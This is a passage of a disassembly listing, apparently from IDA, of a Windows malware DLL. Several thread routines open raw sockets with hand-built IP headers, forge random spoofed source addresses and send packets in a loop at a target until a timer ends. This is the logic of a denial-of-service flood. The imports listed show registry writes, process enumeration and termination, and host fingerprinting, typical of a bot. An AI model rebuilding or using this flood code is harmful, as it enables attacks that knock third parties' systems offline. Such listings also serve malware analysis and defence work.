; Attributes: bp-based frame
sub_1000B100 proc near ; CODE XREF: sub_1000B0E1+8p
push ebp
mov ebp, esp
push offset sub_1000B112 ; void (__cdecl *)()
call _atexit
add esp, 4
pop ebp
retn
sub_1000B100 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_1000B112()
sub_1000B112 proc near ; DATA XREF: sub_1000B100+3o
push ebp
mov ebp, esp
mov ecx, offset byte_1002D158
call ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
pop ebp
retn
sub_1000B112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1000B122 proc near ; CODE XREF: sub_1000B205+178p
; sub_1000B442+1C8p ...
cp = byte ptr -20h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
lea eax, [ebp+var_10]
push eax
lea ecx, [ebp+var_C]
push ecx
lea edx, [ebp+var_8]
push edx
lea eax, [ebp+var_4]
push eax
push offset aD_D_D_D_7 ; "%d.%d.%d.%d"
push offset byte_1002C5D8 ; Src
call ds:sscanf ; sscanf
add esp, 18h
loc_1000B14B: ; CODE XREF: sub_1000B122+CFj
mov ecx, [ebp+arg_0]
and ecx, 0FFh
test ecx, ecx
jz short loc_1000B1AE
push 0FFh
push 0
call sub_10004608
add esp, 8
push eax
push 0FFh
push 0
call sub_10004608
add esp, 8
push eax
push 0FFh
push 0
call sub_10004608
add esp, 8
push eax
push 0FFh
push 0
call sub_10004608
add esp, 8
push eax
push offset aD_D_D_D_8 ; "%d.%d.%d.%d"
push 10h ; Count
lea edx, [ebp+cp]
push edx ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
jmp short loc_1000B1DE
; ---------------------------------------------------------------------------
loc_1000B1AE: ; CODE XREF: sub_1000B122+34j
push 0FFh
push 0
call sub_10004608
add esp, 8
push eax
mov eax, [ebp+var_C]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_4]
push edx
push offset aD_D_D_D_9 ; "%d.%d.%d.%d"
push 10h ; Count
lea eax, [ebp+cp]
push eax ; Dest
call ds:_snprintf ; _snprintf
add esp, 1Ch
loc_1000B1DE: ; CODE XREF: sub_1000B122+8Aj
lea ecx, [ebp+cp]
push ecx ; Str2
push offset byte_1002C5D8 ; Str1
call strcmp ; strcmp
add esp, 8
test eax, eax
jz loc_1000B14B
lea edx, [ebp+cp]
push edx ; cp
call ds:inet_addr ; inet_addr
mov esp, ebp
pop ebp
retn
sub_1000B122 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; DWORD __stdcall sub_1000B205(LPVOID)
sub_1000B205 proc near ; DATA XREF: sub_10007424+1127o
s = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
optval = byte ptr -2C8h
var_2C4 = dword ptr -2C4h
to = sockaddr ptr -2C0h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
name = byte ptr -2A4h
var_224 = byte ptr -224h
buf = byte ptr -21Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
push esi
push edi
mov dword ptr [ebp+optval], 1
mov esi, [ebp+arg_0]
mov ecx, 24h
lea edi, [ebp+var_2AC]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_2C4], eax
mov ecx, [ebp+var_2C4]
mov byte ptr [ecx+89h], 1
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
lea edx, [ebp+name]
push edx ; Src
call sub_10004BF7
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_1000B27D
lea eax, [ebp+name]
push eax ; cp
call ds:inet_addr ; inet_addr
mov [ebp+var_2D0], eax
jmp short loc_1000B292
; ---------------------------------------------------------------------------
loc_1000B27D: ; CODE XREF: sub_1000B205+61j
lea ecx, [ebp+name]
push ecx ; name
call sub_10004763
add esp, 4
mov [ebp+var_2D0], eax
loc_1000B292: ; CODE XREF: sub_1000B205+76j
cmp [ebp+var_2D0], 0
jnz short loc_1000B2A3
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B2A3: ; CODE XREF: sub_1000B205+94j
push 0 ; protocol
push 3 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jnz short loc_1000B2D7
push 1
mov edx, [ebp+var_2AC]
push edx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B2D7: ; CODE XREF: sub_1000B205+B7j
push 4 ; optlen
lea eax, [ebp+optval]
push eax ; optval
push 2 ; optname
push 0 ; level
mov ecx, [ebp+s]
push ecx ; s
call ds:setsockopt ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_1000B31C
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
push 1
mov eax, [ebp+var_2AC]
push eax
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B31C: ; CODE XREF: sub_1000B205+EFj
mov [ebp+to.sa_family], 2
mov word ptr [ebp+to.sa_data], 0
mov ecx, [ebp+var_2D0]
mov dword ptr [ebp+to.sa_data+2], ecx
push 8 ; Size
push 0 ; Val
lea edx, [ebp+to.sa_data+6]
push edx ; Dst
call memset ; memset
add esp, 0Ch
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_2CC], eax
loc_1000B362: ; CODE XREF: sub_1000B205:loc_1000B40Fj
mov edx, 1
test edx, edx
jz loc_1000B414
mov eax, [ebp+var_2D0]
push eax
mov cl, [ebp+var_224]
push ecx
call sub_1000B122
add esp, 4
push eax
lea edx, [ebp+buf]
push edx
call sub_10006A3B
add esp, 0Ch
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 21Ch ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1000B3E4
mov eax, [ebp+s]
push eax ; s
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp+var_2AC]
push ecx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B3E4: ; CODE XREF: sub_1000B205+1B7j
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
sub eax, [ebp+var_2CC]
mov [ebp+var_2B0], eax
mov edx, [ebp+var_2B0]
cmp edx, [ebp+var_2A8]
jl short loc_1000B40F
jmp short loc_1000B414
; ---------------------------------------------------------------------------
loc_1000B40F: ; CODE XREF: sub_1000B205+206j
jmp loc_1000B362
; ---------------------------------------------------------------------------
loc_1000B414: ; CODE XREF: sub_1000B205+164j
; sub_1000B205+208j
mov eax, [ebp+s]
push eax ; s
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp+var_2AC]
push ecx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
sub_1000B205 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; DWORD __stdcall sub_1000B442(LPVOID)
sub_1000B442 proc near ; DATA XREF: sub_10007424+1281o
var_2D8 = word ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
name = byte ptr -2CAh
var_24A = byte ptr -24Ah
s = dword ptr -244h
var_240 = dword ptr -240h
var_23C = dword ptr -23Ch
optval = byte ptr -238h
var_234 = dword ptr -234h
to = sockaddr ptr -230h
var_220 = dword ptr -220h
buf = byte ptr -21Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D8h
push esi
push edi
mov dword ptr [ebp+optval], 1
mov esi, [ebp+arg_0]
mov ecx, 24h
lea edi, [ebp+var_2D4]
rep movsd
mov eax, [ebp+arg_0]
mov [ebp+var_234], eax
mov ecx, [ebp+var_234]
mov byte ptr [ecx+8Bh], 1
call ds:GetTickCount ; GetTickCount
push eax ; Seed
call ds:srand ; srand
add esp, 4
lea edx, [ebp+name]
push edx ; Src
call sub_10004BF7
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_1000B4BA
lea eax, [ebp+name]
push eax ; cp
call ds:inet_addr ; inet_addr
mov [ebp+var_240], eax
jmp short loc_1000B4CF
; ---------------------------------------------------------------------------
loc_1000B4BA: ; CODE XREF: sub_1000B442+61j
lea ecx, [ebp+name]
push ecx ; name
call sub_10004763
add esp, 4
mov [ebp+var_240], eax
loc_1000B4CF: ; CODE XREF: sub_1000B442+76j
cmp [ebp+var_240], 0
jnz short loc_1000B4E0
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B4E0: ; CODE XREF: sub_1000B442+94j
push 0 ; protocol
push 3 ; type
push 2 ; af
call ds:socket ; socket
mov [ebp+s], eax
cmp [ebp+s], 0FFFFFFFFh
jnz short loc_1000B514
push 1
mov edx, [ebp+var_2D4]
push edx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B514: ; CODE XREF: sub_1000B442+B7j
push 4 ; optlen
lea eax, [ebp+optval]
push eax ; optval
push 2 ; optname
push 0 ; level
mov ecx, [ebp+s]
push ecx ; s
call ds:setsockopt ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_1000B559
mov edx, [ebp+s]
push edx ; s
call ds:closesocket ; closesocket
push 1
mov eax, [ebp+var_2D4]
push eax
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B559: ; CODE XREF: sub_1000B442+EFj
mov [ebp+to.sa_family], 2
mov word ptr [ebp+to.sa_data], 0
mov ecx, [ebp+var_240]
mov dword ptr [ebp+to.sa_data+2], ecx
push 8 ; Size
push 0 ; Val
lea edx, [ebp+to.sa_data+6]
push edx ; Dst
call memset ; memset
add esp, 0Ch
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp+var_23C], eax
loc_1000B59F: ; CODE XREF: sub_1000B442:loc_1000B69Cj
mov edx, 1
test edx, edx
jz loc_1000B6A1
mov eax, [ebp-2CCh]
and eax, 0FFFFh
test eax, eax
jz short loc_1000B5CF
mov ecx, [ebp-2CCh]
and ecx, 0FFFFh
mov dword ptr [ebp+var_2D8], ecx
jmp short loc_1000B5E4
; ---------------------------------------------------------------------------
loc_1000B5CF: ; CODE XREF: sub_1000B442+177j
push 0FFFFh
push 1
call sub_10004608
add esp, 8
mov dword ptr [ebp+var_2D8], eax
loc_1000B5E4: ; CODE XREF: sub_1000B442+18Bj
mov dx, [ebp+var_2D8]
push edx ; __int16
push 0FFFFh
push 1
call sub_10004608
add esp, 8
push eax ; hostshort
mov eax, [ebp+var_240]
push eax ; int
mov cl, [ebp+var_24A]
push ecx
call sub_1000B122
add esp, 4
push eax ; int
lea edx, [ebp+buf]
push edx ; int
call sub_10006BAC
add esp, 14h
push 10h ; tolen
lea eax, [ebp+to]
push eax ; to
push 0 ; flags
push 21Ch ; len
lea ecx, [ebp+buf]
push ecx ; buf
mov edx, [ebp+s]
push edx ; s
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1000B671
mov eax, [ebp+s]
push eax ; s
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp+var_2D4]
push ecx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B671: ; CODE XREF: sub_1000B442+207j
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
sub eax, [ebp+var_23C]
mov [ebp+var_220], eax
mov edx, [ebp+var_220]
cmp edx, [ebp+var_2D0]
jl short loc_1000B69C
jmp short loc_1000B6A1
; ---------------------------------------------------------------------------
loc_1000B69C: ; CODE XREF: sub_1000B442+256j
jmp loc_1000B59F
; ---------------------------------------------------------------------------
loc_1000B6A1: ; CODE XREF: sub_1000B442+164j
; sub_1000B442+258j
mov eax, [ebp+s]
push eax ; s
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp+var_2D4]
push ecx
call sub_1000AB26
add esp, 8
push 0 ; dwExitCode
call ds:ExitThread ; ExitThread
sub_1000B442 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0E4h
push esi
push edi
mov dword ptr [ebp-0D0h], 1
mov esi, [ebp+8]
mov ecx, 24h
lea edi, [ebp-0CCh]
rep movsd
mov eax, [ebp+8]
mov [ebp-0D4h], eax
mov ecx, [ebp-0D4h]
mov byte ptr [ecx+8Bh], 1
call ds:GetTickCount ; GetTickCount
push eax
call ds:srand ; srand
add esp, 4
lea edx, [ebp-0C2h]
push edx
call sub_10004BF7
add esp, 4
and eax, 0FFh
test eax, eax
jz short loc_1000B747
lea eax, [ebp-0C2h]
push eax
call ds:inet_addr ; inet_addr
mov [ebp-0DCh], eax
jmp short loc_1000B75C
; ---------------------------------------------------------------------------
loc_1000B747: ; CODE XREF: .text:1000B730j
lea ecx, [ebp-0C2h]
push ecx
call sub_10004763
add esp, 4
mov [ebp-0DCh], eax
loc_1000B75C: ; CODE XREF: .text:1000B745j
cmp dword ptr [ebp-0DCh], 0
jnz short loc_1000B76D
push 0
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B76D: ; CODE XREF: .text:1000B763j
push 0
push 3
push 2
call ds:socket ; socket
mov [ebp-0E0h], eax
cmp dword ptr [ebp-0E0h], 0FFFFFFFFh
jnz short loc_1000B7A1
push 1
mov edx, [ebp-0CCh]
push edx
call sub_1000AB26
add esp, 8
push 0
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B7A1: ; CODE XREF: .text:1000B786j
push 4
lea eax, [ebp-0D0h]
push eax
push 2
push 0
mov ecx, [ebp-0E0h]
push ecx
call ds:setsockopt ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_1000B7E6
mov edx, [ebp-0E0h]
push edx
call ds:closesocket ; closesocket
push 1
mov eax, [ebp-0CCh]
push eax
call sub_1000AB26
add esp, 8
push 0
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B7E6: ; CODE XREF: .text:1000B7BEj
mov word ptr [ebp-3Ch], 2
mov word ptr [ebp-3Ah], 0
mov ecx, [ebp-0DCh]
mov [ebp-38h], ecx
push 8
push 0
lea edx, [ebp-34h]
push edx
call memset ; memset
add esp, 0Ch
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov [ebp-0D8h], eax
loc_1000B820: ; CODE XREF: .text:loc_1000B908j
mov edx, 1
test edx, edx
jz loc_1000B90D
mov eax, [ebp-0C4h]
and eax, 0FFFFh
test eax, eax
jz short loc_1000B850
mov ecx, [ebp-0C4h]
and ecx, 0FFFFh
mov [ebp-0E4h], ecx
jmp short loc_1000B865
; ---------------------------------------------------------------------------
loc_1000B850: ; CODE XREF: .text:1000B83Aj
push 0FFFFh
push 1
call sub_10004608
add esp, 8
mov [ebp-0E4h], eax
loc_1000B865: ; CODE XREF: .text:1000B84Ej
mov dx, [ebp-0E4h]
push edx
push 0FFFFh
push 1
call sub_10004608
add esp, 8
push eax
mov eax, [ebp-0DCh]
push eax
mov cl, [ebp-42h]
push ecx
call sub_1000B122
add esp, 4
push eax
lea edx, [ebp-28h]
push edx
call sub_10006D53
add esp, 14h
push 10h
lea eax, [ebp-3Ch]
push eax
push 0
push 28h
lea ecx, [ebp-28h]
push ecx
mov edx, [ebp-0E0h]
push edx
call ds:sendto ; sendto
cmp eax, 0FFFFFFFFh
jnz short loc_1000B8E3
mov eax, [ebp-0E0h]
push eax
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp-0CCh]
push ecx
call sub_1000AB26
add esp, 8
push 0
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
loc_1000B8E3: ; CODE XREF: .text:1000B8BBj
call ds:GetTickCount ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
sub eax, [ebp-0D8h]
mov [ebp-2Ch], eax
mov edx, [ebp-2Ch]
cmp edx, [ebp-0C8h]
jl short loc_1000B908
jmp short loc_1000B90D
; ---------------------------------------------------------------------------
loc_1000B908: ; CODE XREF: .text:1000B904j
jmp loc_1000B820
; ---------------------------------------------------------------------------
loc_1000B90D: ; CODE XREF: .text:1000B827j
; .text:1000B906j
mov eax, [ebp-0E0h]
push eax
call ds:closesocket ; closesocket
push 1
mov ecx, [ebp-0CCh]
push ecx
call sub_1000AB26
add esp, 8
push 0
call ds:ExitThread ; ExitThread
; ---------------------------------------------------------------------------
pop edi
pop esi
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 4
; [00000006 BYTES: COLLAPSED FUNCTION __WSAFDIsSet. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _ftol. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_1000B966: ; CODE XREF: .text:1000BC77j
jmp ds:__CxxFrameHandler
; [0000002C BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x). PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION DllEntryPoint. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __dllonexit. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION Process32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_1000BC50 proc near ; DATA XREF: .rdata:stru_1000CDF8o
lea ecx, [ebp-20h]
call ds:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>(void)
retn
sub_1000BC50 endp
; =============== S U B R O U T I N E =======================================
sub_1000BC5A proc near ; DATA XREF: .rdata:stru_1000CDF8o
mov eax, [ebp-3Ch]
and eax, 1
test eax, eax
jz locret_1000BC71
mov ecx, [ebp+8]
call ds:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>(void)
locret_1000BC71: ; CODE XREF: sub_1000BC5A+8j
retn
sub_1000BC5A endp
; ---------------------------------------------------------------------------
loc_1000BC72: ; DATA XREF: .text:10001CC6o
mov eax, offset stru_1000CDF8
jmp loc_1000B966
; ---------------------------------------------------------------------------
align 400h
_text ends
; Section 2. (virtual address 0000C000)
; Virtual size : 00001961 ( 6497.)
; Section size in file : 00002000 ( 8192.)
; Offset to raw data for section: 0000C000
; Flags 40000040: Data Readable
; Alignment : default
;
; Imports from ADVAPI32.dll
;
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
extrn RegSetValueExA:dword ; CODE XREF: sub_10004DB1+D0p
; DATA XREF: sub_10004DB1+D0r
; LSTATUS __stdcall RegDeleteValueA(HKEY hKey,LPCSTR lpValueName)
extrn RegDeleteValueA:dword ; CODE XREF: sub_10004EA7+E0p
; DATA XREF: sub_10004EA7+E0r
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,const LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
extrn RegCreateKeyExA:dword ; CODE XREF: sub_10004DB1+A1p
; sub_10004EA7+CCp
; DATA XREF: ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_10004DB1+DDp
; DATA XREF: sub_10004DB1+DDr
; BOOL __stdcall GetUserNameA(LPSTR lpBuffer,LPDWORD pcbBuffer)
extrn GetUserNameA:dword ; CODE XREF: sub_10004987+183p
; DATA XREF: sub_10004987+183r
;
; Imports from KERNEL32.dll
;
; HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)
extrn __imp_CreateToolhelp32Snapshot:dword
; DATA XREF: CreateToolhelp32Snapshotr
; BOOL __stdcall Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
extrn __imp_Process32First:dword ; DATA XREF: Process32Firstr
; BOOL __stdcall Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
extrn __imp_Process32Next:dword ; DATA XREF: Process32Nextr
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
extrn DeleteFileA:dword ; CODE XREF: sub_10007424+DC9p
; DATA XREF: sub_10007424+DC9r
; int __stdcall GetLocaleInfoA(LCID Locale,LCTYPE LCType,LPSTR lpLCData,int cchData)
extrn GetLocaleInfoA:dword ; CODE XREF: sub_10007424+1C61p
; DATA XREF: sub_10007424+1C61r
; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName,LPCSTR lpPrefixString,UINT uUnique,LPSTR lpTempFileName)
extrn GetTempFileNameA:dword ; CODE XREF: .text:1000595Bp
; sub_10007424+232Bp
; DATA XREF: ...
; DWORD __stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
extrn GetTempPathA:dword ; CODE XREF: sub_10004EA7+27p
; .text:10005940p ...
; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
extrn WriteFile:dword ; CODE XREF: sub_10004EA7+16Cp
; sub_10005380+FCp
; DATA XREF: ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
extrn SetFileAttributesA:dword ; CODE XREF: sub_10004DB1+ECp
; sub_10004EA7+F2p
; DATA XREF: ...
; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists)
extrn CopyFileA:dword ; CODE XREF: sub_10004CE4+6Ap
; DATA XREF: sub_10004CE4+6Ar
; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
extrn TerminateProcess:dword ; CODE XREF: sub_10009949+24p
; sub_1000998F+A4p
; DATA XREF: ...
; void __stdcall GlobalMemoryStatus(LPMEMORYSTATUS lpBuffer)
extrn GlobalMemoryStatus:dword ; CODE XREF: sub_10004987+44p
; DATA XREF: sub_10004987+44r
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation)
extrn GetVersionExA:dword ; CODE XREF: sub_10004987+5Bp
; sub_10007005+32p ...
; BOOL __stdcall GetComputerNameA(LPSTR lpBuffer,LPDWORD nSize)
extrn GetComputerNameA:dword ; CODE XREF: sub_10004987+169p
; sub_10007424+1A87p
; DATA XREF: ...
; UINT __stdcall SetErrorMode(UINT uMode)
extrn SetErrorMode:dword ; CODE XREF: start+E7p
; DATA XREF: start+E7r
; DWORD __stdcall GetTickCount()
extrn GetTickCount:dword ; CODE XREF: start+EDp
; sub_10004987:loc_10004AD3p ...
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
extrn CreateMutexA:dword ; CODE XREF: start+11Ap
; DATA XREF: start+11Ar
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: start+121p
; DATA XREF: start+121r
; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
extrn GetModuleFileNameA:dword ; CODE XREF: DllMain(x,x,x)+1Ep
; DATA XREF: DllMain(x,x,x)+1Er
; int __stdcall GetDateFormatA(LCID Locale,DWORD dwFlags,const SYSTEMTIME *lpDate,LPCSTR lpFormat,LPSTR lpDateStr,int cchDate)
extrn GetDateFormatA:dword ; CODE XREF: StartAddress+C3p
; DATA XREF: StartAddress+C3r
; int __stdcall GetTimeFormatA(LCID Locale,DWORD dwFlags,const SYSTEMTIME *lpTime,LPCSTR lpFormat,LPSTR lpTimeStr,int cchTime)
extrn GetTimeFormatA:dword ; CODE XREF: StartAddress+E0p
; DATA XREF: StartAddress+E0r
; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId)
extrn OpenProcess:dword ; CODE XREF: sub_10009949+Fp
; sub_1000998F+95p
; DATA XREF: ...
; BOOL __stdcall TerminateThread(HANDLE hThread,DWORD dwExitCode)
extrn TerminateThread:dword ; CODE XREF: sub_1000A8D0+C6p
; sub_1000AA09+6Dp
; DATA XREF: ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_10002157+302p
; sub_100030D9+1BAp ...
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
extrn CreateThread:dword ; CODE XREF: sub_10002157+323p
; sub_10007424+1133p ...
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
extrn GetSystemDirectoryA:dword ; CODE XREF: sub_10004987+3Ap
; sub_10004CE4+15p ...
; void __stdcall ExitThread(DWORD dwExitCode)
extrn ExitThread:dword ; CODE XREF: sub_1000329E+75Cp
; StartAddress+2BCp ...
; DWORD __stdcall SetFilePointer(HANDLE hFile,LONG lDistanceToMove,PLONG lpDistanceToMoveHigh,DWORD dwMoveMethod)
extrn SetFilePointer:dword ; CODE XREF: sub_100030D9+133p
; sub_10005AE8+BDp
; DATA XREF: ...
; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped)
extrn ReadFile:dword ; CODE XREF: sub_100030D9+154p
; .text:100059AEp ...
; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData)
extrn FindFirstFileA:dword ; CODE XREF: sub_100024A5+4F2p
; DATA XREF: sub_100024A5+4F2r
; BOOL __stdcall FindNextFileA(HANDLE hFindFile,LPWIN32_FIND_DATAA lpFindFileData)
extrn FindNextFileA:dword ; CODE XREF: sub_100024A5+50Cp
; DATA XREF: sub_100024A5+50Cr
; BOOL __stdcall FileTimeToLocalFileTime(const FILETIME *lpFileTime,LPFILETIME lpLocalFileTime)
extrn FileTimeToLocalFileTime:dword ; CODE XREF: sub_100024A5+56Dp
; DATA XREF: sub_100024A5+56Dr
; BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime,LPSYSTEMTIME lpSystemTime)
extrn FileTimeToSystemTime:dword ; CODE XREF: sub_100024A5+581p
; DATA XREF: sub_100024A5+581r
; BOOL __stdcall FindClose(HANDLE hFindFile)
extrn FindClose:dword ; CODE XREF: sub_100024A5+BCAp
; DATA XREF: sub_100024A5+BCAr
; DWORD __stdcall GetFileAttributesA(LPCSTR lpFileName)
extrn GetFileAttributesA:dword ; CODE XREF: sub_10002157+1CBp
; DATA XREF: sub_10002157+1CBr
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
extrn CreateFileA:dword ; CODE XREF: sub_10002157+2B4p
; sub_100030D9+34p ...
